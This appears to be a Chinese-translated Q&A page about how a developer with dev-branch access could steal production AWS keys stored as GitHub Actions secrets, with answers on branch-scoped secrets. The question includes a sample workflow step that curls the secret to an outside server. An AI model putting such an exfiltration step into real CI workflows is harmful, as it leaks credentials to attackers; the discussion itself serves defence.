如何保护生产凭证免受 Github Action 的影响?

Posted

技术标签:

【中文标题】如何保护生产凭证免受 Github Action 的影响?【英文标题】:How to protect production credentials from Github Action? 【发布时间】:2020-12-23 17:52:51 【问题描述】:

我可能在生产中遗漏了一些关于 Github Actions 的信息,因为如果开发人员可以提交到存储库的某个分支,他们似乎可以获得存储为 Github 机密的生产密钥。

假设我有两个分支“dev”和“prod”。

推送到 prod 分支后,我有 Github 操作 deploy.workflow,它将我的更新部署到 AWS。 Github 操作中使用的凭据(AWS_ACCESS_KEY_IDAWS_SECRET_ACCESS_KEY)存储为 Github 存储库机密。现在一切都很好。

假设我们有一个开发人员无法访问prod 分支。这个开发者现在可以创建一个新的 github 操作,推送到“dev”分支并公开密钥!

动作看起来像这样

on:
  push:
    branches: [ dev ]

jobs:
  expose:
  ....
    - name: Expose secrets
      run: curl myserver/key/$ secrets.AWS_SECRET_ACCESS_KEY 

查看操作日志,开发人员将能够找到生产密钥!

有什么办法可以防止这种情况发生吗?

编辑:原来秘密是从日志中过滤掉的,但仍然可以通过使用 curl 发送到您的服务器来获取它们。 (代码更新)

【问题讨论】:

不,GitHub 不提供这样的功能。但可能会有来自 AWS 的 GitHub 集成。 你试过了吗?秘密在日志中进行了编辑,请参阅here。 嗨@BenjaminW。谢谢你的答复。我明白了,我错过了那部分,谢谢分享!但是开发人员仍然可以运行操作将秘密发送到他的服务器,例如curl myserver/key/$ secrets.AWS_SECRET_ACCESS_KEY 这也是很长一段时间内,fork 的 PR 无法触发工作流的原因之一。 【参考方案1】:

github 存储库中的任何人现在都是团队中的协作者,他们对自己所做的更改负责。这应该正确地传达给开发人员。

更新

这是 github 操作中非常需要的功能,基本上允许通过分支来确定秘密的范围。

如果您想在其中添加您的案例场景以向他们提供更多反馈,这里是最近关于此的对话

https://github.community/t/secrets-scoped-to-branches/18524

【讨论】:

但是REPO_ACCESS_TOKEN 需要对 repo2 的写入权限。所以它可以用来改变 repo2 中的工作流来提取秘密。 @riQQ 感谢您的关注。我更新了答案以提供一些资源。但是删除了代码,因为它是多余的,如你所说。用户仍然可以通过编辑推送到该存储库,并且仍然获得相同的最终结果。

以上是关于如何保护生产凭证免受 Github Action 的影响?的主要内容,如果未能解决你的问题,请参考以下文章

如何保护@ConfigurationProperties 类免受更改?

如何保护 Webservice 免受拒绝服务攻击?

如何保护刷新令牌免受黑客攻击

如何保护我的 IP 免受欺骗或保护?

如何保护企业免受网络钓鱼

如何保护 MSI 免受修改